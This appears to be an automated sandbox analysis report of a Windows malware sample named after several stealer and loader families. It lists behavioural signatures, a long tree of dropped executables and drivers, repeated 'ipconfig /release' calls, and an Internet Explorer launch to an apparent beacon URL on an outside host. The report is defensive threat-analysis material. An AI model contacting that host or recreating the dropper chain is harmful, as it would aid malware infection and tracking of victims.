Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
24/07/2026, 22:50
General
- Target 2026-07-24_9f5bbb40609abdb544fafb9d5d85a695_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 722KB
- Sample260724-2sjp8aef34
- SHA256 049a8ab8b307c5244009e374a4c39a69001e5b187efc7990820e17c5a9ce760e
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 60 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-24_9f5bbb40609abdb544fafb9d5d85a695_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-24_9f5bbb40609abdb544fafb9d5d85a695_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\bvtnlgdywqoigayt.exeC:\Temp\bvtnlgdywqoigayt.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gdyvqoigay.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\gdyvqoigay.exeC:\Temp\gdyvqoigay.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gdyvqoigay.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_gdyvqoigay.exeC:\Temp\i_gdyvqoigay.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\oigaylfdxv.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\oigaylfdxv.exeC:\Temp\oigaylfdxv.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_oigaylfdxv.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_oigaylfdxv.exeC:\Temp\i_oigaylfdxv.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qkicavpnif.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qkicavpnif.exeC:\Temp\qkicavpnif.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qkicavpnif.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qkicavpnif.exeC:\Temp\i_qkicavpnif.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\spkhcausmk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\spkhcausmk.exeC:\Temp\spkhcausmk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_spkhcausmk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_spkhcausmk.exeC:\Temp\i_spkhcausmk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wupmhezxrp.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wupmhezxrp.exeC:\Temp\wupmhezxrp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wupmhezxrp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wupmhezxrp.exeC:\Temp\i_wupmhezxrp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomecwu.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwuomecwu.exeC:\Temp\ecwuomecwu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomecwu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwuomecwu.exeC:\Temp\i_ecwuomecwu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wrojhbztrm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wrojhbztrm.exeC:\Temp\wrojhbztrm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wrojhbztrm.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wrojhbztrm.exeC:\Temp\i_wrojhbztrm.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jdbvtlgeyw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jdbvtlgeyw.exeC:\Temp\jdbvtlgeyw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jdbvtlgeyw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jdbvtlgeyw.exeC:\Temp\i_jdbvtlgeyw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigaysqli.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qoigaysqli.exeC:\Temp\qoigaysqli.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigaysqli.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qoigaysqli.exeC:\Temp\i_qoigaysqli.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idavtnicav.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\idavtnicav.exeC:\Temp\idavtnicav.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idavtnicav.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_idavtnicav.exeC:\Temp\i_idavtnicav.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\faxsqkicav.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\faxsqkicav.exeC:\Temp\faxsqkicav.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_faxsqkicav.exe ups_ins3⤵
-
C:\Temp\i_faxsqkicav.exeC:\Temp\i_faxsqkicav.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snkfcxvpnh.exe ups_run3⤵
-
C:\Temp\snkfcxvpnh.exeC:\Temp\snkfcxvpnh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snkfcxvpnh.exe ups_ins3⤵
-
C:\Temp\i_snkfcxvpnh.exeC:\Temp\i_snkfcxvpnh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\khcausmkec.exe ups_run3⤵
-
C:\Temp\khcausmkec.exeC:\Temp\khcausmkec.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_khcausmkec.exe ups_ins3⤵
-
C:\Temp\i_khcausmkec.exeC:\Temp\i_khcausmkec.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zwrpjhbzur.exe ups_run3⤵
-
C:\Temp\zwrpjhbzur.exeC:\Temp\zwrpjhbzur.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zwrpjhbzur.exe ups_ins3⤵
-
C:\Temp\i_zwrpjhbzur.exeC:\Temp\i_zwrpjhbzur.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uomgezwrpj.exe ups_run3⤵
-
C:\Temp\uomgezwrpj.exeC:\Temp\uomgezwrpj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uomgezwrpj.exe ups_ins3⤵
-
C:\Temp\i_uomgezwrpj.exeC:\Temp\i_uomgezwrpj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ljebwuomge.exe ups_run3⤵
-
C:\Temp\ljebwuomge.exeC:\Temp\ljebwuomge.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ljebwuomge.exe ups_ins3⤵
-
C:\Temp\i_ljebwuomge.exeC:\Temp\i_ljebwuomge.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qljdbvtnlg.exe ups_run3⤵
-
C:\Temp\qljdbvtnlg.exeC:\Temp\qljdbvtnlg.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qljdbvtnlg.exe ups_ins3⤵
-
C:\Temp\i_qljdbvtnlg.exeC:\Temp\i_qljdbvtnlg.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idavtnlfdx.exe ups_run3⤵
-
C:\Temp\idavtnlfdx.exeC:\Temp\idavtnlfdx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idavtnlfdx.exe ups_ins3⤵
-
C:\Temp\i_idavtnlfdx.exeC:\Temp\i_idavtnlfdx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xsnkfdxvpn.exe ups_run3⤵
-
C:\Temp\xsnkfdxvpn.exeC:\Temp\xsnkfdxvpn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xsnkfdxvpn.exe ups_ins3⤵
-
C:\Temp\i_xsnkfdxvpn.exeC:\Temp\i_xsnkfdxvpn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4424 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\bvtnlgdywqoigayt.sysC:\Temp\bvtnlgdywqoigayt.sys1⤵
- Executes dropped EXE
-
C:\Temp\ysnlgdyvqn.sysC:\Temp\ysnlgdyvqn.sys1⤵
- Executes dropped EXE
-
C:\Temp\avqkicausn.sysC:\Temp\avqkicausn.sys1⤵
- Executes dropped EXE
-
C:\Temp\cxvpnhfzxs.sysC:\Temp\cxvpnhfzxs.sys1⤵
- Executes dropped EXE
-
C:\Temp\kczusmkecw.sysC:\Temp\kczusmkecw.sys1⤵
- Executes dropped EXE
-
C:\Temp\urmkecwuom.sysC:\Temp\urmkecwuom.sys1⤵
- Executes dropped EXE
-
C:\Temp\hbwuomgeyw.sysC:\Temp\hbwuomgeyw.sys1⤵
- Executes dropped EXE
-
C:\Temp\qojgbztrlj.sysC:\Temp\qojgbztrlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\bvtnlgdywq.sysC:\Temp\bvtnlgdywq.sys1⤵
- Executes dropped EXE
-
C:\Temp\ywqoigaytq.sysC:\Temp\ywqoigaytq.sys1⤵
- Executes dropped EXE
-
C:\Temp\qkidavsnlf.sysC:\Temp\qkidavsnlf.sys1⤵
- Executes dropped EXE
-
C:\Temp\zxspkicaus.sysC:\Temp\zxspkicaus.sys1⤵
-
C:\Temp\rpjhczusmk.sysC:\Temp\rpjhczusmk.sys1⤵
-
C:\Temp\smkecwupmh.sysC:\Temp\smkecwupmh.sys1⤵
-
C:\Temp\eztrmjebwu.sysC:\Temp\eztrmjebwu.sys1⤵
-
C:\Temp\wrojgbztrl.sysC:\Temp\wrojgbztrl.sys1⤵
-
C:\Temp\ywqoigbytq.sysC:\Temp\ywqoigbytq.sys1⤵
-
C:\Temp\bnlfdyvqoi.sysC:\Temp\bnlfdyvqoi.sys1⤵
-
C:\Temp\nlfdxvqnig.sysC:\Temp\nlfdxvqnig.sys1⤵
-
C:\Temp\faxsqkicau.sysC:\Temp\faxsqkicau.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
avqkicausn.sys
bvtnlgdywqoigayt.exe
bvtnlgdywqoigayt.sys
cxvpnhfzxs.sys
ecwuomecwu.exe
gdyvqoigay.exe
hbwuomgeyw.sys
i_ecwuomecwu.exe
i_gdyvqoigay.exe
i_oigaylfdxv.exe
i_qkicavpnif.exe
i_spkhcausmk.exe
i_wrojhbztrm.exe
i_wupmhezxrp.exe
jdbvtlgeyw.exe
kczusmkecw.sys
oigaylfdxv.exe
qkicavpnif.exe
qojgbztrlj.sys
spkhcausmk.exe
urmkecwuom.sys
wrojhbztrm.exe
wupmhezxrp.exe
ysnlgdyvqn.sys
suggestions[1].en-US
memory/728-151-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1724-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1780-139-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1828-126-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1856-118-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1880-83-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2088-127-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2088-122-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2412-143-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2548-131-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2852-59-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3012-114-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3336-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3364-103-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3636-95-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3692-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3964-71-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4352-155-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4368-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4496-147-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4952-135-0x0000000000010000-0x00000000000AB000-memory.dmp